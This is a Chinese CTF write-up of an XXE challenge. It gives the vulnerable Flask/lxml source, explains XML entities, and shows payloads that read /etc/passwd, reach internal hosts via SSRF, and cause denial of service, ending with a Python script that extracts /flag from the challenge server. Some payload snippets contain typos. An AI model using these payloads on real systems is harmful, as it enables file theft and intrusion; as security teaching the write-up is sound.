(>﹏<)
(>﹏<)
源码
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
#从POST表单数据获取XML参数
print(xml)
if xml is None:
return "No System is Safe."
#配置 XML 解析器
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
#lxml.etree.XMLParser 是 Python 的 XML 解析器。
#load_dtd=True 允许加载 DTD(文档类型定义)。
#resolve_entities=True 允许解析 XML 实体(这是危险配置,会导致 XXE 漏洞)。
#解析 XML
root = etree.fromstring(xml, parser)
#使用 lxml.etree.fromstring() 解析客户端提交的 XML。
#由于 resolve_entities=True,如果 XML 包含 恶意实体,可以读取服务器文件
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
简单的Web服务,提供两个接口
- 首页(/):显示当前的Python源码
- XML解析接口(/ghctf):接受POST请求的XML数据,解析并返回
<name>标签内容
XML
可扩展标记语言,是一种用于存储和传输数据的标记语言,类似于HTML,但更侧重和于结构化数据存储和交换而不是页面显示。
特点:
- 可自定义标签(如
, , ) - 数据以树状结构存储、适合表示复杂的数据关系
- 纯文本格式,可以被任何编程语言解析
<person> <name>Alice</name> <age>25</age> <email>alice@example.com</email> </person> <person> 是根元素。 <name>, <age>, <email> 是子元素,存储具体数据。
XML实体
<!-- XML方式 --> <!DOCTYPE company [ <!ENTITY company_name "阿里云"> ]> <企业>&company_name;</企业> <!-- 输出:阿里云 --># Python方式 company_name = "阿里云" print(company_name) # 输出:阿里云
外部实体 and 内部实体
外部
<!DOCTYPE root [ <!ENTITY file SYSTEM "file:///flag"> <!-- 从系统读取文件 --> ]> <root>&file;</root> <!-- 内容会被替换为/flag文件的内容 -->内部
<!DOCTYPE company [ <!ENTITY company_name "阿里云"> <!-- 固定字符串 --> ]> <企业>&company_name;</企业> <!-- 输出:阿里云 -->
特性 <!ENTITY file SYSTEM "file:///flag">(外部实体)<!ENTITY company_name "阿里云">(内部实体)实体类型 外部实体 (External Entity) 内部实体 (Internal Entity) 数据来源 从外部系统(文件/网络)读取 直接写在 XML 中 语法 <!ENTITY 名称 SYSTEM "URI"><!ENTITY 名称 "值">安全性 可导致 XXE 攻击 安全 防护 必须禁用( resolve_entities=False)无需特殊处理
XXE漏洞
(XML 外部实体注入)是一种针对XML解析器的安全漏洞,通过恶意注入外部实体,倒是应用程序解析XML时读取敏感文件,发起SSRF攻击,甚至拒绝服务。
-
漏洞原理
XML允许定义实体包括
- 内部实体 (如
<代表<) - 外部实体(引用外部文件/URL,如
<!ENTITY xxe SYSTEM "//file:///etc/passwwd">)
触发条件
- 服务端接收XML输入
- XML未禁用外部实体加载
2.攻击场景
-
读取本地敏感文件
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user>&xxe;</user>解析后,
&xee;会被替换为/etc/passwd的内容 -
发起SSRF(服务端请求伪造)
<!DOCTYPE foo [ <!ENTITY xee SYSTEM "http://internal-serve/secret"> ]> <data>&xee;</data>可访问内网服务
-
拒绝服务
<!DOCTYPE foo [ <!ENTITY xee SYSTEM "file:///dev/random"> <!ENTITY a0 SYSTEM "&xxe;&xxe;&xxe;..."> ]>
- 内部实体 (如
WP
import requests
# 假设你的 XML 数据是以下的字符串:
xml_data = """
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///flag">
]>
#file://<主机名>/<路径> | file:// 是用于访问本地文件系统的 URI 协议
<root>
<name>Example Name &file;</name>
</root>
"""
# 设置要发送的 URL
url = 'http://node1.anna.nssctf.cn:28250//ghctf' # 根据你的实际 Flask 服务器 URL 修改
# 设置 POST 请求的数据
data = {
'xml': xml_data
}
# 发送 POST 请求
response = requests.post(url, data=data)
# 打印响应内容
print(response.text)

浙公网安备 33010602011771号